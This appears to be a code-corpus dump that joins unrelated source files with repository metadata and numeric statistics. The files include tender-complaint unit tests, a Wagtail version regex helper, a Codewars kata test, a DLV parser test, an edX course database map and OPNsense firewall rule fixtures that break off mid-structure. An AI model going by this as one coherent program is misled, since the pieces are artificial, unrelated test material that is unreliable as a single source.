self.assertEqual(response.json['data']["complaints"][-1]['status'], status) class TenderLotComplaintSwitchResourceTest(TenderComplaintSwitchResourceTest): initial_lots = test_lots class TenderAwardComplaintSwitchResourceTest(BaseTenderWebTest): initial_status = 'active.qualification' initial_bids = test_bids def setUp(self): super(TenderAwardComplaintSwitchResourceTest, self).setUp() # Create award response = self.app.post_json('/tenders/{}/awards'.format( self.tender_id), {'data': {'suppliers': [self.initial_data["procuringEntity"]], 'status': 'pending', 'bid_id': self.initial_bids[0]['id']}}) award = response.json['data'] self.award_id = award['id'] def test_switch_to_pending(self): response = self.app.post_json('/tenders/{}/awards/{}/complaints'.format(self.tender_id, self.award_id), {'data': { 'title': 'complaint title', 'description': 'complaint description', 'author': self.initial_data["procuringEntity"], 'status': 'claim' }}) self.assertEqual(response.status, '201 Created') self.assertEqual(response.json['data']['status'], 'claim') response = self.app.patch_json('/tenders/{}/awards/{}'.format(self.tender_id, self.award_id), {"data": {"status": "active"}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']["status"], "active") tender = self.db.get(self.tender_id) tender['awards'][0]['complaints'][0]['dateSubmitted'] = '2014-01-01' self.db.save(tender) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/tenders/{}'.format(self.tender_id), {'data': {'id': self.tender_id}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.json['data']['awards'][0]["complaints"][0]['status'], 'pending') def test_switch_to_complaint(self): response = self.app.patch_json('/tenders/{}/awards/{}'.format(self.tender_id, self.award_id), {"data": {"status": "active"}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']["status"], "active") for status in ['invalid', 'resolved', 'declined']: self.app.authorization = ('Basic', ('token', '')) response = self.app.post_json('/tenders/{}/awards/{}/complaints'.format(self.tender_id, self.award_id), {'data': { 'title': 'complaint title', 'description': 'complaint description', 'author': self.initial_data["procuringEntity"], 'status': 'claim' }}) self.assertEqual(response.status, '201 Created') self.assertEqual(response.json['data']['status'], 'claim') complaint = response.json['data'] response = self.app.patch_json('/tenders/{}/awards/{}/complaints/{}?acc_token={}'.format(self.tender_id, self.award_id, complaint['id'], self.tender_token), {"data": { "status": "answered", "resolutionType": status }}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']["status"], "answered") self.assertEqual(response.json['data']["resolutionType"], status) tender = self.db.get(self.tender_id) tender['awards'][0]['complaints'][-1]['dateAnswered'] = '2014-01-01' self.db.save(tender) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/tenders/{}'.format(self.tender_id), {'data': {'id': self.tender_id}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.json['data']['awards'][0]["complaints"][-1]['status'], status) class TenderLotAwardComplaintSwitchResourceTest(TenderAwardComplaintSwitchResourceTest): initial_lots = test_lots def setUp(self): super(TenderAwardComplaintSwitchResourceTest, self).setUp() # Create award response = self.app.post_json('/tenders/{}/awards'.format(self.tender_id), {'data': { 'suppliers': [self.initial_data["procuringEntity"]], 'status': 'pending', 'bid_id': self.initial_bids[0]['id'], 'lotID': self.initial_bids[0]['lotValues'][0]['relatedLot'] }}) award = response.json['data'] self.award_id = award['id'] def suite(): suite = unittest.TestSuite() suite.addTest(unittest.makeSuite(TenderAwardComplaintSwitchResourceTest)) suite.addTest(unittest.makeSuite(TenderComplaintSwitchResourceTest)) suite.addTest(unittest.makeSuite(TenderLotAwardComplaintSwitchResourceTest)) suite.addTest(unittest.makeSuite(TenderLotComplaintSwitchResourceTest)) suite.addTest(unittest.makeSuite(TenderLotSwitchAuctionResourceTest)) suite.addTest(unittest.makeSuite(TenderLotSwitchQualificationResourceTest)) suite.addTest(unittest.makeSuite(TenderLotSwitchUnsuccessfulResourceTest)) suite.addTest(unittest.makeSuite(TenderSwitchAuctionResourceTest)) suite.addTest(unittest.makeSuite(TenderSwitchQualificationResourceTest)) suite.addTest(unittest.makeSuite(TenderSwitchUnsuccessfulResourceTest)) return suite if __name__ == '__main__': unittest.main(defaultTest='suite')

51.068852

179

0.656009

1,613

15,576

6.203968

0.075635

0.094434

0.137903

0.050365

0.834416

0.822624

0.818927

0.79994

0.778855

0

0.015946

0.174628

15,576

304

180

51.236842

0.762446

0.003017

0

0.741667

0

0.207343

0.021643

0

0.279167

1

0.070833

false

0

0.008333

0

0.220833

0

null

0

1

0

1

0

null

0

7

9321dbb6daf530700d56a9ac0c8fab97f59e9d76

430

py

Python

wagtaillinkchecker/utils.py

spapas/wagtail-linkchecker

c94114b0c91e90af778fad053d27228a8e4eb980

[ "BSD-3-Clause" ]

26

2016-01-21T00:40:25.000Z

2019-01-31T03:52:38.000Z

wagtaillinkchecker/utils.py

spapas/wagtail-linkchecker

c94114b0c91e90af778fad053d27228a8e4eb980

[ "BSD-3-Clause" ]

13

2019-03-13T17:54:22.000Z

2022-03-08T00:10:09.000Z

wagtaillinkchecker/utils.py

spapas/wagtail-linkchecker

c94114b0c91e90af778fad053d27228a8e4eb980

[ "BSD-3-Clause" ]

15

2019-04-08T10:43:14.000Z

2022-03-01T01:32:52.000Z

import re from wagtail import __version__ as WAGTAIL_VERSION def is_wagtail_version_more_than_equal_to_2_5(): expression = '^((2.([5-9]{1,}|([1-9]{1,}[0-9]{1,}))(.\d+)*)|(([3-9]{1,})(.\d+)*))$' return re.search(expression, WAGTAIL_VERSION) def is_wagtail_version_more_than_equal_to_2_0(): expression = '^((2.([0-9]{1,}|([1-9]{1,}[0-9]{1,}))(.\d+)*)|(([3-9]{1,})(.\d+)*))$' return re.search(expression, WAGTAIL_VERSION)

26.875

84

0.625581

73

430

3.369863

0.30137

0.065041

0.04878

0.154472

0.756098

0

0.075949

0.081395

430

15

85

28.666667

0.546835

0

0.25

0

0.25

0.317016

0

1

0.25

false

0

0.25

0

0.75

0

null

0

1

0

1

0

null

0

1

0

1

0

8

4f082d05cc6f74fcb5cea306f7e727c15b4efdba

54

py

Python

imports/file1.py

gunnarpope/python

4cef021cf414c29bbc61485b57b4f6e533d5c0c8

[ "MIT" ]

1

2019-01-24T22:17:51.000Z

imports/file1.py

gunnarpope/python

4cef021cf414c29bbc61485b57b4f6e533d5c0c8

[ "MIT" ]

1

2021-06-02T00:16:12.000Z

imports/file1.py

gunnarpope/python

4cef021cf414c29bbc61485b57b4f6e533d5c0c8

[ "MIT" ]

null

from file2 import data def printout(): print(data)

9

22

0.722222

8

54

4.875

0.875

0

0.022727

0.185185

54

5

23

10.8

0.863636

0

1

0.333333

true

0

0.333333

0

0.666667

1

0

null

0

1

0

null

0

1

0

1

0

1

0

7

879b6bc9899678f394bed531c878b084306de3e1

267

py

Python

Codewars/7kyu/relatively-prime-numbers/Python/test.py

RevansChen/online-judge

ad1b07fee7bd3c49418becccda904e17505f3018

[ "MIT" ]

7

2017-09-20T16:40:39.000Z

2021-08-31T18:15:08.000Z

Codewars/7kyu/relatively-prime-numbers/Python/test.py

RevansChen/online-judge

ad1b07fee7bd3c49418becccda904e17505f3018

[ "MIT" ]

null

Codewars/7kyu/relatively-prime-numbers/Python/test.py

RevansChen/online-judge

ad1b07fee7bd3c49418becccda904e17505f3018

[ "MIT" ]

null

# Python - 3.6.0 test.assert_equals(relatively_prime(8, [1, 2, 3, 4, 5, 6, 7]), [1, 3, 5, 7]) test.assert_equals(relatively_prime(15, [72, 27, 32, 61, 77, 11, 40]), [32, 61, 77, 11]) test.assert_equals(relatively_prime(210, [15, 100, 2222222, 6, 4, 12369, 99]), [])

44.5

88

0.629213

51

267

3.176471

0.54902

0.185185

0.296296

0.481481

0.574074

0

0.275109

0.142322

267

5

89

53.4

0.432314

0.052434

0

1

0

true

0

null

0

1

0

1

0

1

0

1

0

null

0

1

0

1

0

7

87b830eb8ab6e2e9c7128e768908d2c9d6f5b5a3

211

py

Python

tests/parser/aggregates.min.propagation.4.test.py

veltri/DLV2

944aaef803aa75e7ec51d7e0c2b0d964687fdd0e

[ "Apache-2.0" ]

null

tests/parser/aggregates.min.propagation.4.test.py

veltri/DLV2

944aaef803aa75e7ec51d7e0c2b0d964687fdd0e

[ "Apache-2.0" ]

null

tests/parser/aggregates.min.propagation.4.test.py

veltri/DLV2

944aaef803aa75e7ec51d7e0c2b0d964687fdd0e

[ "Apache-2.0" ]

null

input = """ c(1). c(2). c(3). a(X) | -a(X) :- c(X). minim(X) :- a(X), #min{ D : a(D) } = X. """ output = """ c(1). c(2). c(3). a(X) | -a(X) :- c(X). minim(X) :- a(X), #min{ D : a(D) } = X. """

11.105263

40

0.308057

44

211

1.477273

0.25

0.184615

0.123077

0.830769

0

0.040268

0.293839

211

18

41

11.722222

0.395973

0

0.857143

0

0.142857

0.84264

0

1

0

false

0

1

null

0

1

0

1

0

1

0

1

0

1

0

null

0

11

87d1376eea5941afbf9f23cfb70d0e2faad54cca

2,695

py

Python

courses.py

UQ-UQx/old_injestor

e4add6d08239875af7b2669a29814e8679fffcb0

[ "MIT" ]

null

courses.py

UQ-UQx/old_injestor

e4add6d08239875af7b2669a29814e8679fffcb0

[ "MIT" ]

1

2021-06-01T21:53:15.000Z

courses.py

UQ-UQx/old_injestor

e4add6d08239875af7b2669a29814e8679fffcb0

[ "MIT" ]

null

""" EDX_DATABASES = { 'think_101x': {'dbname': 'UQx_Think101x_1T2014', 'mongoname': 'UQx/Think101x/1T2014', 'discussiontable': 'UQx-HYPERS301x-1T2014-prod', 'icon': 'fa-heart'}, 'hypers_301x': {'dbname': 'UQx_HYPERS301x_1T2014', 'mongoname': 'UQx/HYPERS301x/1T2014', 'discussiontable': 'UQx-HYPERS301x-1T2014-prod', 'icon': 'fa-plane'}, 'tropic_101x': {'dbname': 'UQx_TROPIC101x_1T2014', 'mongoname': 'UQx/TROPIC101x/1T2014', 'discussiontable': 'UQx-TROPIC101x-1T2014-prod', 'icon': 'fa-tree'}, 'bioimg_101x': {'dbname': 'UQx_BIOIMG101x_1T2014', 'mongoname': 'UQx/BIOIMG101x/1T2014', 'discussiontable': 'UQx-BIOIMG101x-1T2014-prod', 'icon': 'fa-desktop'}, 'crime_101x': {'dbname': 'UQx_Crime101x_3T2014', 'mongoname': 'UQx/Crime101x/3T2014', 'discussiontable': 'UQx-Crime101x-3T2014-prod', 'icon': 'fa-gavel'}, 'world_101x': {'dbname': 'UQx_World101x_3T2014', 'mongoname': 'UQx/World101x/3T2014', 'discussiontable': 'UQx-World101x-3T2014-prod', 'icon': 'fa-map-marker'}, 'write_101x': {'dbname': 'UQx_Write101x_3T2014', 'mongoname': 'UQx/Write101x/3T2014', 'discussiontable': 'UQx-Write101x-3T2014-prod', 'icon': 'fa-pencil'}, 'sense_101x': {'dbname': 'UQx_Sense101x_3T2014', 'mongoname': 'UQx/Sense101x/3T2014', 'discussiontable': 'UQx-Sense101x-3T2014-prod', 'icon': 'fa-power-off'} } """ EDX_DATABASES = { 'think_101x_1T2014': {'dbname': 'UQx_Think101x_1T2014', 'mongoname': 'UQx/Think101x/1T2014', 'discussiontable': 'UQx-HYPERS301x-1T2014-prod', 'icon': 'fa-heart'}, 'hypers_301x_1T2014': {'dbname': 'UQx_HYPERS301x_1T2014', 'mongoname': 'UQx/HYPERS301x/1T2014', 'discussiontable': 'UQx-HYPERS301x-1T2014-prod', 'icon': 'fa-plane'}, 'tropic_101x_1T2014': {'dbname': 'UQx_TROPIC101x_1T2014', 'mongoname': 'UQx/TROPIC101x/1T2014', 'discussiontable': 'UQx-TROPIC101x-1T2014-prod', 'icon': 'fa-tree'}, 'bioimg_101x_1T2014': {'dbname': 'UQx_BIOIMG101x_1T2014', 'mongoname': 'UQx/BIOIMG101x/1T2014', 'discussiontable': 'UQx-BIOIMG101x-1T2014-prod', 'icon': 'fa-desktop'}, 'crime_101x_3T2014': {'dbname': 'UQx_Crime101x_3T2014', 'mongoname': 'UQx/Crime101x/3T2014', 'discussiontable': 'UQx-Crime101x-3T2014-prod', 'icon': 'fa-gavel'}, 'world_101x_3T2014': {'dbname': 'UQx_World101x_3T2014', 'mongoname': 'UQx/World101x/3T2014', 'discussiontable': 'UQx-World101x-3T2014-prod', 'icon': 'fa-map-marker'}, 'write_101x_3T2014': {'dbname': 'UQx_Write101x_3T2014', 'mongoname': 'UQx/Write101x/3T2014', 'discussiontable': 'UQx-Write101x-3T2014-prod', 'icon': 'fa-pencil'}, 'sense_101x_3T2014': {'dbname': 'UQx_Sense101x_3T2014', 'mongoname': 'UQx/Sense101x/3T2014', 'discussiontable': 'UQx-Sense101x-3T2014-prod', 'icon': 'fa-power-off'}, }

117.173913

171

0.705751

304

2,695

6.065789

0.128289

0.078091

0.086768

0.069414

0.951193

0

0.190553

0.080891

2,695

23

172

117.173913

0.553896

0.48757

0

0.739447

0.240175

0

1

0

false

0

null

0

1

0

1

0

1

0

null

0

8

359720adad99a4f9758bbe6949d1f71d55eeaccb

95,920

py

Python

opnsense_cli/tests/commands/plugin/test_firewall_rule.py

jan-win1993/opn-cli

83c4792571dacbe6483722a95276954c7a2d0b3c

[ "BSD-2-Clause" ]

13

2021-05-17T10:42:25.000Z

2022-02-21T02:10:41.000Z

opnsense_cli/tests/commands/plugin/test_firewall_rule.py

jan-win1993/opn-cli

83c4792571dacbe6483722a95276954c7a2d0b3c

[ "BSD-2-Clause" ]

14

2021-05-17T13:53:27.000Z

2021-12-16T12:45:44.000Z

opnsense_cli/tests/commands/plugin/test_firewall_rule.py

jan-win1993/opn-cli

83c4792571dacbe6483722a95276954c7a2d0b3c

[ "BSD-2-Clause" ]

2

2021-04-28T08:41:07.000Z

2022-03-28T10:20:51.000Z

from unittest.mock import patch, Mock from opnsense_cli.commands.plugin.firewall.rule import rule from opnsense_cli.tests.commands.base import CommandTestCase class TestFirewallRuleCommands(CommandTestCase): def setUp(self): self._api_data_fixtures_savepoint_OK = { "status": "ok", "retention": "60", "revision": "1626265654.2136" } self._api_data_fixtures_savepoint_FAILED = { "status": "failed", } self._api_data_fixtures_apply_OK = { "status": "OK\n\n", } self._api_data_fixtures_apply_FAILED = { "status": "FAILED\n\n", } self._api_data_fixtures_cancel_rollback_OK = { "status": "\n\n", } self._api_data_fixtures_cancel_rollback_FAILED = { "status": "failed\n\n", } self._api_data_fixtures_create_OK = { "result": "saved", "uuid": "85282721-934c-42be-ba4d-a93cbfda26af" } self._api_data_fixtures_create_ERROR = { "result": "failed", "validations": {"rule.source_net": "alias_not_exists is not a valid source IP address or alias."} } self._api_data_fixtures_update_OK = { "result": "saved" } self._api_data_fixtures_update_NOT_EXISTS = { "result": "failed" } self._api_data_fixtures_delete_NOT_FOUND = { "result": "not found" } self._api_data_fixtures_delete_OK = { "result": "deleted" } self._api_data_fixtures_list = { "filter": { "rules": { "rule": { "b468c719-89db-45a8-bd02-b081246dc002": { "enabled": "1", "sequence": "1", "action": { "pass": { "value": "Pass", "selected": 1 }, "block": { "value": "Block", "selected": 0 }, "reject": { "value": "Reject", "selected": 0 } }, "quick": "1", "interface": { "lan": { "value": "LAN", "selected": 1 }, "lo0": { "value": "Loopback", "selected": 0 }, "wan": { "value": "WAN", "selected": 0 } }, "direction": { "in": { "value": "In", "selected": 1 }, "out": { "value": "Out", "selected": 0 } }, "ipprotocol": { "inet": { "value": "IPv4", "selected": 1 }, "inet6": { "value": "IPv6", "selected": 0 } }, "protocol": { "any": { "value": "any", "selected": 0 }, "ICMP": { "value": "ICMP", "selected": 0 }, "IGMP": { "value": "IGMP", "selected": 0 }, "GGP": { "value": "GGP", "selected": 0 }, "IPENCAP": { "value": "IPENCAP", "selected": 0 }, "ST2": { "value": "ST2", "selected": 0 }, "TCP": { "value": "TCP", "selected": 1 }, "CBT": { "value": "CBT", "selected": 0 }, "EGP": { "value": "EGP", "selected": 0 }, "IGP": { "value": "IGP", "selected": 0 }, "BBN-RCC": { "value": "BBN-RCC", "selected": 0 }, "NVP": { "value": "NVP", "selected": 0 }, "PUP": { "value": "PUP", "selected": 0 }, "ARGUS": { "value": "ARGUS", "selected": 0 }, "EMCON": { "value": "EMCON", "selected": 0 }, "XNET": { "value": "XNET", "selected": 0 }, "CHAOS": { "value": "CHAOS", "selected": 0 }, "UDP": { "value": "UDP", "selected": 0 }, "MUX": { "value": "MUX", "selected": 0 }, "DCN": { "value": "DCN", "selected": 0 }, "HMP": { "value": "HMP", "selected": 0 }, "PRM": { "value": "PRM", "selected": 0 }, "XNS-IDP": { "value": "XNS-IDP", "selected": 0 }, "TRUNK-1": { "value": "TRUNK-1", "selected": 0 }, "TRUNK-2": { "value": "TRUNK-2", "selected": 0 }, "LEAF-1": { "value": "LEAF-1", "selected": 0 }, "LEAF-2": { "value": "LEAF-2", "selected": 0 }, "RDP": { "value": "RDP", "selected": 0 }, "IRTP": { "value": "IRTP", "selected": 0 }, "ISO-TP4": { "value": "ISO-TP4", "selected": 0 }, "NETBLT": { "value": "NETBLT", "selected": 0 }, "MFE-NSP": { "value": "MFE-NSP", "selected": 0 }, "MERIT-INP": { "value": "MERIT-INP", "selected": 0 }, "DCCP": { "value": "DCCP", "selected": 0 }, "3PC": { "value": "3PC", "selected": 0 }, "IDPR": { "value": "IDPR", "selected": 0 }, "XTP": { "value": "XTP", "selected": 0 }, "DDP": { "value": "DDP", "selected": 0 }, "IDPR-CMTP": { "value": "IDPR-CMTP", "selected": 0 }, "TP++": { "value": "TP++", "selected": 0 }, "IL": { "value": "IL", "selected": 0 }, "IPV6": { "value": "IPV6", "selected": 0 }, "SDRP": { "value": "SDRP", "selected": 0 }, "IDRP": { "value": "IDRP", "selected": 0 }, "RSVP": { "value": "RSVP", "selected": 0 }, "GRE": { "value": "GRE", "selected": 0 }, "DSR": { "value": "DSR", "selected": 0 }, "BNA": { "value": "BNA", "selected": 0 }, "ESP": { "value": "ESP", "selected": 0 }, "AH": { "value": "AH", "selected": 0 }, "I-NLSP": { "value": "I-NLSP", "selected": 0 }, "SWIPE": { "value": "SWIPE", "selected": 0 }, "NARP": { "value": "NARP", "selected": 0 }, "MOBILE": { "value": "MOBILE", "selected": 0 }, "TLSP": { "value": "TLSP", "selected": 0 }, "SKIP": { "value": "SKIP", "selected": 0 }, "IPV6-ICMP": { "value": "IPV6-ICMP", "selected": 0 }, "CFTP": { "value": "CFTP", "selected": 0 }, "SAT-EXPAK": { "value": "SAT-EXPAK", "selected": 0 }, "KRYPTOLAN": { "value": "KRYPTOLAN", "selected": 0 }, "RVD": { "value": "RVD", "selected": 0 }, "IPPC": { "value": "IPPC", "selected": 0 }, "SAT-MON": { "value": "SAT-MON", "selected": 0 }, "VISA": { "value": "VISA", "selected": 0 }, "IPCV": { "value": "IPCV", "selected": 0 }, "CPNX": { "value": "CPNX", "selected": 0 }, "CPHB": { "value": "CPHB", "selected": 0 }, "WSN": { "value": "WSN", "selected": 0 }, "PVP": { "value": "PVP", "selected": 0 }, "BR-SAT-MON": { "value": "BR-SAT-MON", "selected": 0 }, "SUN-ND": { "value": "SUN-ND", "selected": 0 }, "WB-MON": { "value": "WB-MON", "selected": 0 }, "WB-EXPAK": { "value": "WB-EXPAK", "selected": 0 }, "ISO-IP": { "value": "ISO-IP", "selected": 0 }, "VMTP": { "value": "VMTP", "selected": 0 }, "SECURE-VMTP": { "value": "SECURE-VMTP", "selected": 0 }, "VINES": { "value": "VINES", "selected": 0 }, "TTP": { "value": "TTP", "selected": 0 }, "NSFNET-IGP": { "value": "NSFNET-IGP", "selected": 0 }, "DGP": { "value": "DGP", "selected": 0 }, "TCF": { "value": "TCF", "selected": 0 }, "EIGRP": { "value": "EIGRP", "selected": 0 }, "OSPF": { "value": "OSPF", "selected": 0 }, "SPRITE-RPC": { "value": "SPRITE-RPC", "selected": 0 }, "LARP": { "value": "LARP", "selected": 0 }, "MTP": { "value": "MTP", "selected": 0 }, "AX.25": { "value": "AX.25", "selected": 0 }, "IPIP": { "value": "IPIP", "selected": 0 }, "MICP": { "value": "MICP", "selected": 0 }, "SCC-SP": { "value": "SCC-SP", "selected": 0 }, "ETHERIP": { "value": "ETHERIP", "selected": 0 }, "ENCAP": { "value": "ENCAP", "selected": 0 }, "GMTP": { "value": "GMTP", "selected": 0 }, "IFMP": { "value": "IFMP", "selected": 0 }, "PNNI": { "value": "PNNI", "selected": 0 }, "PIM": { "value": "PIM", "selected": 0 }, "ARIS": { "value": "ARIS", "selected": 0 }, "SCPS": { "value": "SCPS", "selected": 0 }, "QNX": { "value": "QNX", "selected": 0 }, "A/N": { "value": "A/N", "selected": 0 }, "IPCOMP": { "value": "IPCOMP", "selected": 0 }, "SNP": { "value": "SNP", "selected": 0 }, "COMPAQ-PEER": { "value": "COMPAQ-PEER", "selected": 0 }, "IPX-IN-IP": { "value": "IPX-IN-IP", "selected": 0 }, "CARP": { "value": "CARP", "selected": 0 }, "PGM": { "value": "PGM", "selected": 0 }, "L2TP": { "value": "L2TP", "selected": 0 }, "DDX": { "value": "DDX", "selected": 0 }, "IATP": { "value": "IATP", "selected": 0 }, "STP": { "value": "STP", "selected": 0 }, "SRP": { "value": "SRP", "selected": 0 }, "UTI": { "value": "UTI", "selected": 0 }, "SMP": { "value": "SMP", "selected": 0 }, "SM": { "value": "SM", "selected": 0 }, "PTP": { "value": "PTP", "selected": 0 }, "ISIS": { "value": "ISIS", "selected": 0 }, "CRTP": { "value": "CRTP", "selected": 0 }, "CRUDP": { "value": "CRUDP", "selected": 0 }, "SPS": { "value": "SPS", "selected": 0 }, "PIPE": { "value": "PIPE", "selected": 0 }, "SCTP": { "value": "SCTP", "selected": 0 }, "FC": { "value": "FC", "selected": 0 }, "RSVP-E2E-IGNORE": { "value": "RSVP-E2E-IGNORE", "selected": 0 }, "UDPLITE": { "value": "UDPLITE", "selected": 0 }, "MPLS-IN-IP": { "value": "MPLS-IN-IP", "selected": 0 }, "MANET": { "value": "MANET", "selected": 0 }, "HIP": { "value": "HIP", "selected": 0 }, "SHIM6": { "value": "SHIM6", "selected": 0 }, "WESP": { "value": "WESP", "selected": 0 }, "ROHC": { "value": "ROHC", "selected": 0 }, "PFSYNC": { "value": "PFSYNC", "selected": 0 }, "DIVERT": { "value": "DIVERT", "selected": 0 } }, "source_net": "10.0.0.0/24", "source_not": "0", "source_port": "80", "destination_net": "192.168.0.0/24", "destination_not": "0", "destination_port": "http", "gateway": { "": { "value": "none", "selected": True }, "Null4": { "value": "Null4 - 127.0.0.1", "selected": 0 }, "Null6": { "value": "Null6 - ::1", "selected": 0 }, "WAN_DHCP": { "value": "WAN_DHCP - 10.0.2.2", "selected": 0 }, "WAN_DHCP6": { "value": "WAN_DHCP6 - inet6", "selected": 0 } }, "log": "0", "description": "test Rule astuerz" }, "fb0e1f6c-9f39-46dd-9c98-27fc314a2429": { "enabled": "1", "sequence": "5", "action": { "pass": { "value": "Pass", "selected": 1 }, "block": { "value": "Block", "selected": 0 }, "reject": { "value": "Reject", "selected": 0 } }, "quick": "1", "interface": { "lan": { "value": "LAN", "selected": 1 }, "lo0": { "value": "Loopback", "selected": 0 }, "wan": { "value": "WAN", "selected": 0 } }, "direction": { "in": { "value": "In", "selected": 1 }, "out": { "value": "Out", "selected": 0 } }, "ipprotocol": { "inet": { "value": "IPv4", "selected": 1 }, "inet6": { "value": "IPv6", "selected": 0 } }, "protocol": { "any": { "value": "any", "selected": 0 }, "ICMP": { "value": "ICMP", "selected": 0 }, "IGMP": { "value": "IGMP", "selected": 0 }, "GGP": { "value": "GGP", "selected": 0 }, "IPENCAP": { "value": "IPENCAP", "selected": 0 }, "ST2": { "value": "ST2", "selected": 0 }, "TCP": { "value": "TCP", "selected": 1 }, "CBT": { "value": "CBT", "selected": 0 }, "EGP": { "value": "EGP", "selected": 0 }, "IGP": { "value": "IGP", "selected": 0 }, "BBN-RCC": { "value": "BBN-RCC", "selected": 0 }, "NVP": { "value": "NVP", "selected": 0 }, "PUP": { "value": "PUP", "selected": 0 }, "ARGUS": { "value": "ARGUS", "selected": 0 }, "EMCON": { "value": "EMCON", "selected": 0 }, "XNET": { "value": "XNET", "selected": 0 }, "CHAOS": { "value": "CHAOS", "selected": 0 }, "UDP": { "value": "UDP", "selected": 0 }, "MUX": { "value": "MUX", "selected": 0 }, "DCN": { "value": "DCN", "selected": 0 }, "HMP": { "value": "HMP", "selected": 0 }, "PRM": { "value": "PRM", "selected": 0 }, "XNS-IDP": { "value": "XNS-IDP", "selected": 0 }, "TRUNK-1": { "value": "TRUNK-1", "selected": 0 }, "TRUNK-2": { "value": "TRUNK-2", "selected": 0 }, "LEAF-1": { "value": "LEAF-1", "selected": 0 }, "LEAF-2": { "value": "LEAF-2", "selected": 0 }, "RDP": { "value": "RDP", "selected": 0 }, "IRTP": { "value": "IRTP", "selected": 0 }, "ISO-TP4": { "value": "ISO-TP4", "selected": 0 }, "NETBLT": { "value": "NETBLT", "selected": 0 }, "MFE-NSP": { "value": "MFE-NSP", "selected": 0 }, "MERIT-INP": { "value": "MERIT-INP", "selected": 0 }, "DCCP": { "value": "DCCP", "selected": 0 }, "3PC": { "value": "3PC", "selected": 0 }, "IDPR": { "value": "IDPR", "selected": 0 }, "XTP": { "value": "XTP", "selected": 0 }, "DDP": { "value": "DDP", "selected": 0 }, "IDPR-CMTP": { "value": "IDPR-CMTP", "selected": 0 }, "TP++": { "value": "TP++", "selected": 0 }, "IL": { "value": "IL", "selected": 0 }, "IPV6": { "value": "IPV6", "selected": 0 }, "SDRP": { "value": "SDRP", "selected": 0 }, "IDRP": { "value": "IDRP", "selected": 0 }, "RSVP": { "value": "RSVP", "selected": 0 }, "GRE": { "value": "GRE", "selected": 0 }, "DSR": { "value": "DSR", "selected": 0 }, "BNA": { "value": "BNA", "selected": 0 }, "ESP": { "value": "ESP", "selected": 0 }, "AH": { "value": "AH", "selected": 0 }, "I-NLSP": { "value": "I-NLSP", "selected": 0 }, "SWIPE": { "value": "SWIPE", "selected": 0 }, "NARP": { "value": "NARP", "selected": 0 }, "MOBILE": { "value": "MOBILE", "selected": 0 }, "TLSP": { "value": "TLSP", "selected": 0 }, "SKIP": { "value": "SKIP", "selected": 0 }, "IPV6-ICMP": { "value": "IPV6-ICMP", "selected": 0 }, "CFTP": { "value": "CFTP", "selected": 0 }, "SAT-EXPAK": { "value": "SAT-EXPAK", "selected": 0 }, "KRYPTOLAN": { "value": "KRYPTOLAN", "selected": 0 }, "RVD": { "value": "RVD", "selected": 0 }, "IPPC": { "value": "IPPC", "selected": 0 }, "SAT-MON": { "value": "SAT-MON", "selected": 0 }, "VISA": { "value": "VISA", "selected": 0 }, "IPCV": { "value": "IPCV", "selected": 0 }, "CPNX": { "value": "CPNX", "selected": 0 }, "CPHB": { "value": "CPHB", "selected": 0 }, "WSN": { "value": "WSN", "selected": 0 }, "PVP": { "value": "PVP", "selected": 0 }, "BR-SAT-MON": { "value": "BR-SAT-MON", "selected": 0 }, "SUN-ND": { "value": "SUN-ND", "selected": 0 }, "WB-MON": { "value": "WB-MON", "selected": 0 }, "WB-EXPAK": { "value": "WB-EXPAK", "selected": 0 }, "ISO-IP": { "value": "ISO-IP", "selected": 0 }, "VMTP": { "value": "VMTP", "selected": 0 }, "SECURE-VMTP": { "value": "SECURE-VMTP", "selected": 0 }, "VINES": { "value": "VINES", "selected": 0 }, "TTP": { "value": "TTP", "selected": 0 }, "NSFNET-IGP": { "value": "NSFNET-IGP", "selected": 0 }, "DGP": { "value": "DGP", "selected": 0 }, "TCF": { "value": "TCF", "selected": 0 }, "EIGRP": { "value": "EIGRP", "selected": 0 }, "OSPF": { "value": "OSPF", "selected": 0 }, "SPRITE-RPC": { "value": "SPRITE-RPC", "selected": 0 }, "LARP": { "value": "LARP", "selected": 0 }, "MTP": { "value": "MTP", "selected": 0 }, "AX.25": { "value": "AX.25", "selected": 0 }, "IPIP": { "value": "IPIP", "selected": 0 }, "MICP": { "value": "MICP", "selected": 0 }, "SCC-SP": { "value": "SCC-SP", "selected": 0 }, "ETHERIP": { "value": "ETHERIP", "selected": 0 }, "ENCAP": { "value": "ENCAP", "selected": 0 }, "GMTP": { "value": "GMTP", "selected": 0 }, "IFMP": { "value": "IFMP", "selected": 0 }, "PNNI": { "value": "PNNI", "selected": 0 }, "PIM": { "value": "PIM", "selected": 0 }, "ARIS": { "value": "ARIS", "selected": 0 }, "SCPS": { "value": "SCPS", "selected": 0 }, "QNX": { "value": "QNX", "selected": 0 }, "A/N": { "value": "A/N", "selected": 0 }, "IPCOMP": { "value": "IPCOMP", "selected": 0 }, "SNP": { "value": "SNP", "selected": 0 }, "COMPAQ-PEER": { "value": "COMPAQ-PEER", "selected": 0 }, "IPX-IN-IP": { "value": "IPX-IN-IP", "selected": 0 }, "CARP": { "value": "CARP", "selected": 0 }, "PGM": { "value": "PGM", "selected": 0 }, "L2TP": { "value": "L2TP", "selected": 0 }, "DDX": { "value": "DDX", "selected": 0 }, "IATP": { "value": "IATP", "selected": 0 }, "STP": { "value": "STP", "selected": 0 }, "SRP": { "value": "SRP", "selected": 0 }, "UTI": { "value": "UTI", "selected": 0 }, "SMP": { "value": "SMP", "selected": 0 }, "SM": { "value": "SM", "selected": 0 }, "PTP": { "value": "PTP", "selected": 0 }, "ISIS": { "value": "ISIS", "selected": 0 }, "CRTP": { "value": "CRTP", "selected": 0 }, "CRUDP": { "value": "CRUDP", "selected": 0 }, "SPS": { "value": "SPS", "selected": 0 }, "PIPE": { "value": "PIPE", "selected": 0 }, "SCTP": { "value": "SCTP", "selected": 0 }, "FC": { "value": "FC", "selected": 0 }, "RSVP-E2E-IGNORE": { "value": "RSVP-E2E-IGNORE", "selected": 0 }, "UDPLITE": { "value": "UDPLITE", "selected": 0 }, "MPLS-IN-IP": { "value": "MPLS-IN-IP", "selected": 0 }, "MANET": { "value": "MANET", "selected": 